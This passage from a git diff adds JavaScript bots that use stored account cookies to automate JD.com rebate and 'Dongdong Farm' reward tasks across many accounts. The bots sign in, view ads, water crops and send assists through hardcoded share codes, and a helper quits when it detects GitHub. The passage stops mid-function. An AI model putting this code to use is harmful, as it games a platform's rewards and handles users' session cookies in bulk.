'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 JDFanli/2.0.20 jd.fanli/2.0.20', + // "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": ck, + "Content-Type": "application/json;charset=UTF-8" + }, + body : JSON.stringify({ taskId: taskId,businessId:businessId, taskType: taskType }), + + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + // console.log(data) + if (data) { + data = JSON.parse(data); + // console.log(data,"获取id") + if(data.content){ + $.sendBody = data.content + } + else{ + console.log("未获取到活动内容,开始下一个") + } + + + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + // console.log(error) + } finally { + resolve(); + } + }) + }) +} + +function saveTaskRecord1(ck,taskId,businessId,taskType,uid,tt) { + let opt = { + url: `https://ifanli.m.jd.com/rebateapi/task/saveTaskRecord`, + headers: { + "Host": "ifanli.m.jd.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Cache-Control": "no-cache", + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 JDFanli/2.0.20 jd.fanli/2.0.20', + // "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": ck, + "Content-Type": "application/json;charset=UTF-8" + }, + body : JSON.stringify({ taskId: taskId, taskType: taskType,businessId:businessId,uid:uid,tt:tt }), + + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.content) { + if (data.content.status == 1 && data.content.beans > 0) + $.count.finishCount += 1; + console.log("浏览结果", data.content.msg); + } else + console.log("结果", data); + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + // console.log(error) + } finally { + resolve(); + } + }) + }) +} + +function getTaskFinishCount(ck) { + return new Promise(resolve => { + const options = { + url:'https://ifanli.m.jd.com/rebateapi/task/getTaskFinishCount', + headers: { + "Host": "ifanli.m.jd.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Cache-Control": "no-cache", + "User-Agent": $.UA, + "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": ck, + "Content-Type": "application/json;charset=UTF-8" + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data){ + data = JSON.parse(data) + // console.log(data) + console.log("已完成次数:"+data.content.finishCount+" 总任务次数:"+data.content.maxTaskCount) + $.count=data.content + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(ck) { + return new Promise(resolve => { + const options = { + url:'https://ifanli.m.jd.com/rebateapi/task/getTaskList', + headers: { + "Host": "ifanli.m.jd.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Cache-Control": "no-cache", + "User-Agent": $.UA, + "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://ifanli.m.jd.com/rebate/earnBean.html?paltform=null", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": ck, + "Content-Type": "application/json;charset=UTF-8" + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data){ + data = JSON.parse(data) + // console.log(data,"活动列表") + if(data.content){ + $.taskList=data.content + } + else{ + console.log("未获取到活动列表,请检查活动") + } + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + 'User-Agent': $.UA, + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fruit.js b/jd_fruit.js new file mode 100644 index 0000000..426996f --- /dev/null +++ b/jd_fruit.js @@ -0,0 +1,1496 @@ +/* +东东水果:脚本更新地址 jd_fruit.js +更新时间:2021-11-7 +活动入口:京东APP我的-更多工具-东东农场 +东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 +==========================Quantumultx========================= +[task_local] +#jd免费水果 +5 6-18/6 * * * jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "5 6-18/6 * * *" script-path=jd_fruit.js,tag=东东农场 + +=========================Surge============================ +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit.js + +=========================小火箭=========================== +东东农场 = type=cron,script-path=jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + +jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js + +export DO_TEN_WATER_AGAIN="" 默认再次浇水 + +*/ +const $ = new Env('东东农场'); +let cookiesArr = [], cookie = '', jdFruitShareArr = [], isBox = false, notify, newShareCodes, allMessage = ''; +//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [ // 这个列表填入你要助力的好友的shareCode + //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + '5853550f71014282912b76d95beb84c0@48e6ec73af85409abbfd6bbb1bbed122@68c383d05e4747e5b34a579445db9459@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', + //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + '5853550f71014282912b76d95beb84c0@48e6ec73af85409abbfd6bbb1bbed122@68c383d05e4747e5b34a579445db9459@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', +] +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = 100;//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +let randomCount = $.isNode() ? 20 : 5; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + // option['media-url'] = $.farmInfo.farmUserPro.goodsImage; + message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + if(!process.env.DO_TEN_WATER_AGAIN){ + console.log('执行再次浇水') + await doTenWaterAgain();//再次浇水 + } else { + console.log('不执行再次浇水,攒水滴') + } + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify($.farmInfo)}`); + message = `【数据异常】请手动登录京东app查看此账号${$.name}是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if (!$.farmTask.gotBrowseTaskAdInit.f) { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } else { + console.log(`今天已经做过浏览广告任务\n`); + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + 